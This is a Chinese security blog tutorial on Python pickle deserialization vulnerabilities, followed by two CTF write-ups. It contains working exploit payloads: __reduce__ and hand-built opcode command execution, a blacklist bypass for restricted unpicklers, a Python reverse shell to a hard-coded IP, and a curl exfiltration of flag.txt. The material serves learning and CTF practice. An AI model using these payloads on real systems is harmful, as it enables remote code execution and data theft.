Python pickle反序列化浅析

quan9i 2022-10-21 09:55:00

前言

之前所接触的大多是PHP 反序列化题型,最近遇见了一道Python pickle反序列化类型题,因此学习了一下其反序列化,简单总结如下,希望能对各位师傅有所帮助。

Pickle

师傅们可自行先参考一下官方文档
https://docs.python.org/zh-cn/3/library/pickle.html

定义

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。

通俗易懂的说,就是pickle实现了基本数据的序列化和反序列化。

方法

Pickle包含四种方法,具体如下所示

pickle.dump(obj, file)
//将obj对象进行封存,即序列化,然后写入到file文件中
//注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//将file这个文件进行解封,即反序列化
//注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//将data解封,即进行反序列化
//注:data要求为bytes-like object(字节类对象)

有关字节类对象,可以看官方这里的介绍
https://docs.python.org/zh-cn/3/glossary.html#term-bytes-like-object
看到这里的话,其实也就明白了一点,常用的也就是dumpload,类似于PHP的seralizeunseralize
这里简单举个例子

import pickle

zj = 'tttang'

filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件
    pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:
    print(f.read())

# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件
    print(pickle.load(f)) #将这个文件进行反序列化并输出

运行结果
在这里插入图片描述

demo源码分析

想要理解反序列化,就得从最根本开始,因此这里从源码开始入手

ctrl+鼠标左键查看load源码
在这里插入图片描述
找到load方法
在这里插入图片描述
这里的大致含义就是将内容以二进制字节流形式读取并存放到file中,而后我们看到返回中利用了load()方法,继续跟进
在这里插入图片描述
这里主要看下面的这一点

        try:
            while True:
                key = read(1)
                if not key:
                    raise EOFError
                assert isinstance(key, bytes_types)
                dispatch[key[0]](self)
        except _Stop as stopinst:
            return stopinst.value

这里大致含义就是将字符串中的字符挨个进行读取,然后通过dispatch字典索引,调用对应方法
这里我们的字符串是

b'\x80\x04\x95\n\x00\x00\x00\x00\x00\x00\x00\x8c\x06tttang\x94.'

第一步
第一个也就是\x80,查一下这个\x80
在这里插入图片描述
发现对应的是PROTO,那么这里的话就是dispatch[PROTO[0]],其对应的是load_proto方法,跟进

    def load_proto(self):
        proto = self.read(1)[0]
        if not 0 <= proto <= HIGHEST_PROTOCOL:
            raise ValueError("unsupported pickle protocol: %d" % proto)
        self.proto = proto

发现这里是再读取一个字符串,然后这里的话是读取的\x04,其含义大概是说这是一个根据四号协议反序列化的字符串

第二步
此时读取的字符串是\x95,搜索过后发现其对应

FRAME            = b'\x95'  # indicate the beginning of a new frame

查这个frame对应函数,即load_frame

    def load_frame(self):
        frame_size, = unpack('<Q', self.read(8))
        if frame_size > sys.maxsize:
            raise ValueError("frame size > sys.maxsize: %d" % frame_size)
        self._unframer.load_frame(frame_size)

这里是又往后读取了八位代表frame的大小,这里的八位是\n\x00\x00\x00\x00\x00\x00\x00,表示其大小为0,后面的大致含义是将其进行二进制字节流转换然后赋值给current_frame

第三步
这里到了\x8c,搜到对应的是SHORT_BINUNICODE,对应方法如下

    def load_short_binunicode(self):
        len = self.read(1)[0]
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))

这里又往下读取了一位,然后调用了append方法,我们跟进一下

self.stack = []
self.append = self.stack.append

那么这里的话大致含义就是设置一个空数组,然后将读取的下一位存放进去(入栈),下一位是\x06tttang,此时就把它存入栈中了

第四步
此时继续往下读取字符串,对应的是\x94,对应方法是load_memoize,跟进

    def load_memoize(self):
        memo = self.memo
        memo[len(memo)] = self.stack[-1]

这里的话大致含义就是memo是个空数组,然后它将栈中-1对应元素取出,存入数组中

第五步
此时读取到最后一个字符串.,其对应的是stop,这里就结束了反序列化

示例及源码分析

上述只是一种简单的示例,抛砖引玉了属于是,而常见的序列化和反序列化,往往是出现在类和对象中,这里举出一个具体实例

import pickle

class tttang:
    def __init__(self,name,age):
        self.name=name
        self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)

得到结果如下

b'\x80\x04\x95:\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06tttang\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06quan9i\x94\x8c\x03age\x94\x8c\x0219\x94ub.'

由于刚刚已经说过了具体代码,所以这里不再放出自定义函数对应代码(师傅们自行查看源码更能增强理解)

第一步
读取\x80,其对应的是PROTO,这里调用load_proto方法,函数内容是读取下一个字符,读取到\x04,这里的含义是表示这是一个根据四号协议序列化的字符串。

第二步
读取\x95,其对应的是FRAME,这里调用load_frame方法,函数内容是读取八个字符串,这里是:\x00\x00\x00\x00\x00\x00\x00,然后将其值进行二进制字节流转换赋值给current_frame

第三步
读取\x8c,其对应的是SHORT_BINUNICODE,对应方法是load_short_binunicode,函数内容是向下读取一位,然后压入栈中

stack:[__main__]

第四步
读取\x94,其对应的是MEMOIZE,对应方法是load_memoize,函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},那么这里就是{\x08__main}

第五步
读取\x8c,向下读取一位然后压入栈中,下一位是\x06tttang,这里的话就是

stack:[__main__,tttang]

第六步
读取\x94,将栈中-1对应元素存入memo[1]中,这里的话就是memo[1]=tttang

第七步
读取\x93,对应函数是load_stack_global,函数内容是将栈中元素取出一个,作为对象名,这里就是name=tttang,接下来再取出一个,作为类名,这里就是module=__main__,然后压入栈中

stack:[<class '__main__.tttang'>]

第八步
读取\x94,将栈中-1对应元素存入memo[2]中,这里的话就是将上面的字符串保存到memo[2]

第九步
读取),对应的是EMPTY_TUPLE,也就是向栈中加入空元组

stack:[<class '__main__.tttang'>,()]

第十步
读取\x81,对应函数是load_newobj,弹出()赋值给args,然后将class '__main__.tttang'赋值给cls,接下来cls.__new__(cls,*args)实例化对象,由于args为空,所以这里仍然是一个空的tttang对象

stack:[<class '__main__.tttang'>]

第十步
读取\x94,将上面实例化过后的对象存入memo[3]

第十一步
读取},往栈中压入空的字典

stack:[<class '__main__.tttang'>,{}]

第十二步
读取\x94,将上述字符串存入memo[4]

第十三步
读取(,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空

第十四步
读取\x8c,向下读取一位压入栈中,下一位是\x04name(\x04代表name的长度),这里就是

stack:[name]

第十五步
读取\x94,这里的话栈中是name,因此就是memo[5]=name

第十六步
读取\x8c,向下读取一位压入栈中,这里的话下一位是\x06quan9i,因此就是

stack:[name,quan9i]

第十七步
读取\x94,即memo[6]=quan9i

第十八步
读取\x8c,读取下一位\x03age,所以栈为

stack:[name,quan9i,age]

第十九步
读取x94,这里的话是memo[7]=age

第二十步
读取\x8c,读取下一位\x0219,所以栈为

stack:[name,quan9i,age,19]

第二十一步
读取\x94,即memo[8]=19

第二十二步
读取u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.tttang'>,{},这里的话就是取出__main__.tttang作为字典,接下来进行range遍历

__main__.tttang[items[0]]=items[1]
__main__.tttang[items[2]]=items[3]

因此这里就是

__main__.tttang[name]=quan9i
__main__.tttang[age]=19

那么这里的话栈就变成

stack:[<class '__main__.tttang'>,{'name':'quan9i','age':'19'}]

第二十三步
读取b,对应方法为load_build,弹出{'name':'quan9i','age':'19'}赋值给state,弹出class '__main__.tttang'赋值给inst,如果inst中存在setstate,就用setstate来处理state,否则就存入inst_dict

第二十四步
读取.,结束反序列化

大家在自行阅读源码过后也可以通过pickletools来查看自己的大体思路是否出错
这个模块调用也比较简单,如下所示

import pickle
import pickletools
class tttang:
    def __init__(self,name,age):
        self.name=name
        self.age=age
a=pickle.dumps(tttang("quan9i","19"))
print(a)
pickletools.dis(a)

结果如下图
在这里插入图片描述

漏洞成因

Pickle之所以出现反序列化漏洞的原因,是因为pickle数据是完全可控的,我们可以用来表示任意对象,官方也声明了其危险性。
在这里插入图片描述

漏洞利用

全局变量覆盖

举个例子
现在存在一个文件secret.py,内容如下

key='flag{xxx}'

如果我们能把它修改成tttang,就算是解题成功。那我们该怎么实现呢
方法的话其实是很简单的,我们只需要通过c操作符得到全局变量secret,然后利用b操作符修改属性值即可,构造payload如下

c__main__
secret
(S'key'
S'tttang'
db.

测试代码如下

import pickle
import secret

payload='''c__main__
secret
(S'key'
S'tttang'
db.'''

print('before:',secret.key)

output=pickle.loads(payload.encode())

print('output:',output)
print('after:',secret.key)

结果如下
在这里插入图片描述

函数执行

—reduce—方法

常见的利用方式是什么呢,我们这里就需要提到一个方法了,这个方法就是__reduce__方法,简单介绍一下

__reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
    如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用

这里给出一个简单的demo

#encoding: utf-8
import os
import pickle
class tttang(object):
    def __reduce__(self):
        return (os.system,('whoami',))
a=tttang()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

在这里插入图片描述
可以看到成功执行了命令
这个不仅可以实现函数利用,也可以实现反弹shell,如下所示

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a="""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

在这里插入图片描述

编写opcode实现函数执行

函数执行,这就要提到opcode,也就是那序列化后的那些字符,它们都有一定的含义,我们也可以通过编写opcode实现函数执行,
具体的大家可以看这里
https://github.com/python/cpython/blob/main/Lib/pickle.py#L111
hachp1大师傅总结了一下常用的opcode及其功能,如下所示(参考自https://xz.aliyun.com/t/7436)

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

看过这个之后,就大致了解了每个opcode的作用,现在来说一下函数执行
函数执行常用的有以下几个操作符

R操作符

R操作符,其对应的函数如下所示

    def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

简单分析一下
弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,即可实现函数的函数执行
构造payload如下

a=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

解读一下,
字符c读取moduleos,读取namesystem,此时就构造出了os.system
字符X,往后读取四位\x06\x00\x00\x00whoami
字符\x85,它将最后一个数据变成元组重新入栈
字符.,结束了反序列化

测试代码

import pickle
a=b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
flag=pickle.loads(a)

在这里插入图片描述

i操作符

i操作符,其对应函数如下所示

 def load_inst(self):
        module = self.readline()[:-1].decode("ascii")
        name = self.readline()[:-1].decode("ascii")
        klass = self.find_class(module, name)
        self._instantiate(klass, self.pop_mark())

分析函数
向下依次读取两行分别作为modulename,然后利用find_class寻找对应方法,通过pop_mark()函数得到参数,利用_instantiate函数执行,将结果存入栈中,pop_mark()对应代码

    def pop_mark(self):
        items = self.stack
        self.stack = self.metastack.pop()
        self.append = self.stack.append
        return items

简单分析一下,这里是获取当前栈赋给items,然后弹出栈内元素,再把这个栈赋值给当前栈,然后返回items
构造payload如下

b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'

解读一下
字符(,为了与后面的字符i作对应,i字符寻找上一个MARK来闭合,然后组合其内的数据作为元组,以此元组作为函数参数
字符X,向后读取四个字符串\x06\x00\x00\x00whoami而后压入栈中
字符i,往后读取两行得到os.system,调用参数并执行
字符.,结束反序列化

测试代码

import pickle
a=b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
b=pickle.loads(a)

在这里插入图片描述

o操作符

o操作符,其对应函数如下所示

    def load_obj(self):
        # Stack is ... markobject classobject arg1 arg2 ...
        args = self.pop_mark()
        cls = args.pop(0)
        self._instantiate(cls, args)

简单分析一下,这个函数先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate函数自执行

构造payload如下

b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'

解读一下
字符(,为了和之后的字符o对应,实现闭合,获取函数及参数
字符c,往后读取两行,得到函数os.system
字符X,往后读取四位得到x06\x00\x00\x00whoami,即whoami
字符o,与(实现闭合,将第一个元素,也就是os.system作为函数,第二个元素whoami作为参数,执行
字符.,结束反序列化

测试代码

import pickle
a=b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
b=pickle.loads(a)

在这里插入图片描述

b操作符

b操作符,其对应函数如下所示

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)

简单分析一下,这个函数是当栈中存在__setstate__时,就会执行setstate(state),因此我们这里自定义一个__setstate__类,分别构造os.systemwhoami即可执行命令
构造payload如下

b'c__main__\ntttang\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'

解读一下
字符c,往后读取两行,得到主函数和类,__main__.tttang
字符),向栈中压入空元祖()
字符},向栈中压入空字典{}
字符X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__
字符c,向后读取两行,得到函数os.system
字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system
字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state)
字符X,往后读取四位x06\x00\x00\x00whoami,即whoami
字符b,弹出元素whoami此时statewhoami,执行os.system(whoami)
字符.,结束反序列化

测试代码如下

import pickle
class tttang:
    def __init__(self):
            self.name="quan9i"
a=b'c__main__\ntttang\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
b=pickle.loads(a)

在这里插入图片描述

界限突破(绕WAF)

黑名单绕过

官方在声明Python反序列化时就已经意识到了其具有危险性,自然有一定的方法来进行防护。

官方给出的安全反序列化是继承了pickle.Pickler类,并重载了find_class方法

常见的是设置了一些黑名单来进行绕过,示例如下

import pickle
import io
import builtins
__all__ = ('PickleSerializer',)
class RestrictedUnpickler(pickle.Unpickler):
    blacklist={'eval','exec','open','__import__','exit','input'}
    def find_class(self,module,name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins,name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))

这里设置了黑名单,禁止利用evalexec等函数
但我们会发现这里getattr没有被ban,__builtins__中存在着很多函数,这就意味着我们可以builtins.getattr('builtins', 'eval')来获取eval等黑名单函数。
构造payload如下

builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)

该如何编写对应的opcode呢?
一步步来即可

首先,构造出builtins.getattr,这里的话就用c操作符来调用出模块和函数,因此这里的话就写出了

cbuiltins
getattr

接下来压入的话会发现,其中含有个对象,而其他压入的都是字符串,如果直接压入的话会出错,这里的话可以这样

builtins = builtins.globals().get('builtins')

构造一下

cbuiltins
globals  #得到builtins.globals
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.   #获取到globals中的dict类中的get方法

接下来再用dict.getglobals中就获取builtins就可以

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals   #得到globals()
(tRS'builtins' #读取builtins
tR. #t是与(形成元组,R是执行,师傅们自行解读一下可以就理解了

写个简单的demo测试一下是否成功构造出了builtins

import pickle,builtins

payload=b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.
"""
a=pickle.loads(payload)
print(a)

在这里插入图片描述
接下来只需要构造eval就可以了,构造最终payload如下

b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""

在这里插入图片描述
这个是通过R操作符实现的函数执行,也可以通过O操作符和i操作符实现,这里借用一下枫霄云大师傅的opcode

o操作码
b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'

关键词绕过

之前提到变量覆盖的时候,用到了变量名key,而如果禁止使用这个关键词,我们该怎么办呢,有以下几种方法

V操作符绕过

这里可以借用V操作符来实现关键字绕过,V操作符可以实例化一个unicode字符串对象。
我们之前的payload

c__main__
secret
(S'key'
S'tttang'
db.

修改过后的payload

c__main__
secret
(V\u006bey
S'tttang'
db.

在这里插入图片描述
可以发现成功实现变量覆盖

十六进制绕过

S操作符是可以识别十六进制的,因此这里也可以对字符进行十六进制编码,从而绕过,构造payload如下

c__main__
secret
(S'\x6bey'
S'tttang'
db.

在这里插入图片描述

内置函数获取关键字

当我们引用某个模块时,我们可以通过sys.modules[xxx]来获取其全部属性,然后我们可以输出全部属性,示例如下

import secret
import sys
print(dir(sys.modules['secret']))

在这里插入图片描述
成功找到关键词key,但发现这里是列表的形式(pickle不支持列表索引)
所以这里的话我们可以用函数reversed()将列表反序,然后用next()函数指向关键词从而实现输出关键词,示例如下

import secret
import sys
print(next(reversed(dir(sys.modules['secret']))))

在这里插入图片描述
接下来只需要构造写出对应opcode即可
先写dir

(c__main__
secret
i__builtin__
dir

此时再写reversed(因为过程是一样的,所以直接在c前面添加括号,在后面加i再接调用模块就可以)

((c__main__
secret
i__builtin__
dir
i__builtin__
reversed

最后写next

(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next

接下来检验一下

import secret
import pickle
import sys
opcode=b'''(((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.'''
print(pickle.loads(opcode))

在这里插入图片描述
成功输出key,接下来我们去修改一下之前的payload,把key改成这个,就可以啦

import pickle
import secret

payload=b'''c__main__
secret
((((c__main__
secret
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
S'tttang'
db.'''
print('before:',secret.key)

output=pickle.loads(payload)

print('output:',output)
print('after:',secret.key)

在这里插入图片描述

实战

[CISCN2019 华北赛区 Day1 Web2]ikun

进入后发现有登录和注册界面,常规操作先注册后登录
在这里插入图片描述
提示要买到lv6,下划后发现可以买等级
在这里插入图片描述
这里没有lv6,点击下一页看看
仍然没有找到lv6,但发现参数是GET型传参
在这里插入图片描述
这意味着我们可以写个小脚本来查找lv6所在位置
发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png
在这里插入图片描述
脚本如下

import time
import requests
url = "http://8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81/shop?page="
for i in range(1,300):
    res = requests.get(url+str(i))
    time.sleep(0.5)
    if "lv6.png" in res.text:
        print(i)
        break

在这里插入图片描述
181页,找到后发现价格是天价,买不起
在这里插入图片描述
这里抓包看一下
在这里插入图片描述
发现可以修改折扣,把这个discount修改为0.00000000000001然后发包
在这里插入图片描述
跳转到了另一个界面但无权限访问
再抓包在这里插入图片描述
发现JWT,解码一下(解码网站https://jwt.io/
在这里插入图片描述
我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下
https://github.com/brendan-rius/c-jwt-cracker
破解后得到密钥为1Kun在这里插入图片描述
抓包,将得到的值赋给JWT,再发包
在这里插入图片描述
手给我点废了也没点出来什么东西,这个时候才想起来看看源代码,又是被自己蠢到的一天在这里插入图片描述发现源码,下载下来看一下
admin.py中发现
在这里插入图片描述
loads,这意味着存在Pickle反序列化,我们可以写个有reduce的类,然后在里面写入想要执行的命令,进行序列化,接下来传值给become就可以了
这里结果是return形式的,而不是print,所以os.system没回显,这里了解到commands.getoutput是有回显的,因此用它来执行命令,构造exp如下

import pickle
import urllib
import commands

class flag(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))

a = flag()
print(urllib.quote(pickle.dumps(a)))

在这里插入图片描述
在这里插入图片描述
接下来同理,换一下语句就可以查看flag了

import pickle
import urllib
import commands

class flag(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))

a = flag()
print(urllib.quote(pickle.dumps(a)))

在这里插入图片描述

在这里插入图片描述

[watevrCTF-2019]Pickle Store

在这里插入图片描述
开环境后发现这个flag卖1000,而我们只有500,随便买两个其他的,发现也没什么东西,看一下其他内容,发现session有点像某种编码过后的,其内容如下

gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu

结合题目,想到这里可能是pickle序列化后又进行了base64编码,因此我们进行反向操作,base64解码一下再进行反序列化,看看能得到什么,脚本如下

import pickle
from base64 import *
a='gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBQAAABZdW1teSBzbcO2cmfDpXNndXJrYXEEWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAMjllYTdlODgyODJmOTJmNGZmYzI5NzZmMTQ5MDU2OTdxB3Uu'
print(pickle.loads(b64decode(a)))

在这里插入图片描述
结果如下

{'money': 390, 'history': ['Yummy smörgåsgurka', 'Yummy standard pickle'], 'anti_tamper_hmac': '29ea7e88282f92f4ffc2976f14905697'}

这说明我们的推断是没有错误的,我们知道pickle存在反序列化漏洞,因此这里就可以利用pickle反序列化漏洞来解题
这里看起来是没有什么防护的,因此我们用简单的__reduce__来构造语句
尝试直接命令执行

import base64
import pickle


class flag(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('cat /f*')",))
a = flag()
print( base64.b64encode( pickle.dumps(a) ) )

在这里插入图片描述
不幸的是这里报500了,可能对session进行了某种检测,那我们这里就用反弹shell来做
而后我们编写脚本获取payload

import base64
import pickle

class payload(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt  ip:7777')",))
a = payload()
print(base64.b64encode(pickle.dumps(a)))

然后服务器开启监听
接下来修改session值为对应payload,刷新界面即可得到flag
image.png

后言

本人只是一个小白,在学习Python反序列化时对于opcode构造函数执行感到十分吃力,极有可能部分分析过程出现问题,如果有问题还请各位大师傅多多指正

参考文章

https://tttang.com/archive/1294/
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Unpickler-find-class
https://xz.aliyun.com/t/7436#toc-11
https://xz.aliyun.com/t/7012#toc-1
https://xz.aliyun.com/t/7320#toc-2
https://xz.aliyun.com/t/8342
https://goodapple.top/archives/1069
https://zhuanlan.zhihu.com/p/89132768
https://forum.butian.net/share/1929
https://www.dounaite.com/article/62652a1c7b5653d739b20f48.html

评论

quan9i

一个什么也不会的fw

twitter weibo github wechat

随机分类

软件安全 文章:17 篇
漏洞分析 文章:212 篇
iOS安全 文章:36 篇
XSS 文章:34 篇
安全开发 文章:83 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录